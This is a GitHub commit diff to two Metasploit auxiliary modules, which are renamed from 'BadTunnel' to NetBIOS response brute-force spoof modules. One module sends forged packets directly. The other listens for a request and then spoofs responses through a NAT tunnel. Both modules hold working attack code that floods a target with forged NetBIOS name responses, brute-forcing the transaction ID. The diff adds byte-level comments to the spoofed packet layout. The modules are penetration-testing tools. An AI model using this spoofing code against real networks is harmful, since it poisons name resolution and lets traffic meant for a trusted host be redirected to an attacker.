Skip to content

Commit ce7c649

Browse files
hdmhdm
committed
Rework to clarify that this a brute force spoof, unrelated to BadTunnel
1 parent 6507e52 commit ce7c649

File tree

2 files changed

+48
-48
lines changed

2 files changed

+48
-48
lines changed

‎modules/auxiliary/admin/netbios/netbios_badtunnel_direct.rb renamed to ‎modules/auxiliary/admin/netbios/netbios_spoof.rb

Lines changed: 21 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
1111

1212
def initialize
1313
super(
14-
'Name' => 'NetBIOS "BadTunnel" Name Poisoner (Direct)',
14+
'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',
1515
'Description' => %q{
1616
This module continuously spams NetBIOS responses to a target for given hostname,
1717
causing the target to cache a malicious address for this name. On high-speed local
@@ -21,19 +21,11 @@ def initialize
2121
rates for a successful attack.
2222
},
2323
'Authors' => [
24+
'vvalien', # Metasploit Module (post)
2425
'hdm', # Metasploit Module
25-
'tombkeeper' # Vulnerability Discovery
26+
'tombkeeper' # Related Work
2627
],
2728
'License' => MSF_LICENSE,
28-
'References' =>
29-
[
30-
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
31-
['CVE', '2016-3213'],
32-
['MSB', 'MS16-063'],
33-
['CVE', '2016-3236'],
34-
['MSB', 'MS16-077']
35-
],
36-
'DisclosureDate' => 'Jun 14 2016'
3729
)
3830

3931
register_options(
@@ -49,17 +41,27 @@ def initialize
4941

5042
def netbios_spam
5143
payload =
52-
"\xff\xff" + # TXID
53-
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
54-
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
55-
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
56-
Rex::Socket.addr_aton(@fake_addr)
44+
"\xff\xff" + # TX ID (will brute force this)
45+
"\x85\x00" + # Flags = response + authoratative + recursion desired
46+
"\x00\x00" + # Questions = 0
47+
"\x00\x01" + # Answer RRs = 1
48+
"\x00\x00" + # Authority RRs = 0
49+
"\x00\x00" + # Additional RRs = 0
50+
"\x20" +
51+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
52+
"\x00" +
53+
"\x00\x20" + # Type = NB
54+
"\x00\x01" + # Class = IN
55+
"\x00\x04\x93\xe0" + # TTL long time
56+
"\x00\x06" + # Datalength = 6
57+
"\x00\x00" + # Flags B-node, unique
58+
Rex::Socket.addr_aton(@fake_addr)
5759

5860
stime = Time.now.to_f
5961
pcnt = 0
6062
pps = 0
6163

62-
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
64+
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
6365

6466
live = true
6567
while live
@@ -74,14 +76,14 @@ def netbios_spam
7476
sleep(0.01)
7577
end
7678
rescue Errno::ECONNREFUSED
77-
print_error("BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed")
79+
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
7880
live = false
7981
break
8082
end
8183
end
8284
end
8385

84-
print_status("BadTunnel: >> Cleaning up...")
86+
print_status("Cleaning up...")
8587
end
8688

8789
def run

‎modules/auxiliary/server/netbios_badtunnel.rb renamed to ‎modules/auxiliary/server/netbios_spoof_nat.rb

Lines changed: 27 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
1010

1111
def initialize
1212
super(
13-
'Name' => 'NetBIOS "BadTunnel" Service',
13+
'Name' => 'NetBIOS Response Brute Force Spoof (NAT Tunnel)',
1414
'Description' => %q{
1515
This module listens for a NetBIOS name request and then continuously spams
1616
NetBIOS responses to a target for given hostname, causing the target to cache
@@ -25,18 +25,11 @@ def initialize
2525
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
2626
},
2727
'Authors' => [
28-
'hdm', # Metasploit Module
29-
'tombkeeper' # Vulnerability Discovery
28+
'vvalien', # Metasploit Module (post)
29+
'hdm', # Metasploit Module
30+
'tombkeeper' # Related Work
3031
],
3132
'License' => MSF_LICENSE,
32-
'References' =>
33-
[
34-
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
35-
['CVE', '2016-3213'],
36-
['MSB', 'MS16-063'],
37-
['CVE', '2016-3236'],
38-
['MSB', 'MS16-077']
39-
],
4033
'Actions' =>
4134
[
4235
[ 'Service' ]
@@ -46,7 +39,6 @@ def initialize
4639
'Service'
4740
],
4841
'DefaultAction' => 'Service',
49-
'DisclosureDate' => 'Jun 14 2016'
5042
)
5143

5244
register_options(
@@ -65,7 +57,6 @@ def netbios_service
6557
# MacOS X workaround
6658
::Socket.do_not_reverse_lookup = true
6759

68-
print_status("NetBIOS 'BadTunnel' service is initializing")
6960
@sock = ::UDPSocket.new()
7061
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
7162
@sock.bind(datastore['SRVHOST'], @port)
@@ -74,7 +65,7 @@ def netbios_service
7465
@fake_name = datastore['NBNAME']
7566
@fake_addr = datastore['NBADDR']
7667

77-
print_status("BadTunnel: Listening for NetBIOS requests...")
68+
print_status("Listening for NetBIOS requests...")
7869

7970
begin
8071
loop do
@@ -86,33 +77,44 @@ def netbios_service
8677
break
8778
end
8879

89-
print_status("BadTunnel: >> Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
80+
# TODO: Seed our counter based on the TXID of this request
81+
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
9082
@sock.connect(@targ_addr, @targ_port)
9183

9284
netbios_spam
9385

9486
rescue ::Interrupt
9587
raise $!
9688
rescue ::Exception => e
97-
print_error("BadTunnel: Error #{e.class} #{e} #{e.backtrace}")
89+
print_error("Error #{e.class} #{e} #{e.backtrace}")
9890
ensure
99-
@sock.close
91+
@sock.close if @sock
10092
end
10193
end
10294

10395
def netbios_spam
10496
payload =
105-
"\xff\xff" + # TXID
106-
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
107-
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
108-
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
109-
Rex::Socket.addr_aton(@fake_addr)
97+
"\xff\xff" + # TX ID (will brute force this)
98+
"\x85\x00" + # Flags = response + authoratative + recursion desired
99+
"\x00\x00" + # Questions = 0
100+
"\x00\x01" + # Answer RRs = 1
101+
"\x00\x00" + # Authority RRs = 0
102+
"\x00\x00" + # Additional RRs = 0
103+
"\x20" +
104+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
105+
"\x00" +
106+
"\x00\x20" + # Type = NB
107+
"\x00\x01" + # Class = IN
108+
"\x00\x04\x93\xe0" + # TTL long time
109+
"\x00\x06" + # Datalength = 6
110+
"\x00\x00" + # Flags B-node, unique
111+
Rex::Socket.addr_aton(@fake_addr)
110112

111113
stime = Time.now.to_f
112114
pcnt = 0
113115
pps = 0
114116

115-
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
117+
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
116118

117119
live = true
118120
while live
@@ -127,20 +129,16 @@ def netbios_spam
127129
sleep(0.01)
128130
end
129131
rescue Errno::ECONNREFUSED
130-
print_error("BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed")
132+
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
131133
live = false
132134
break
133135
end
134136
end
135137
end
136-
137-
print_status("BadTunnel: >> Cleaning up...")
138138
end
139139

140140
def run
141-
loop do
142-
netbios_service
143-
end
141+
loop { netbios_service }
144142
end
145143

146144
end

0 commit comments

Comments
 (0)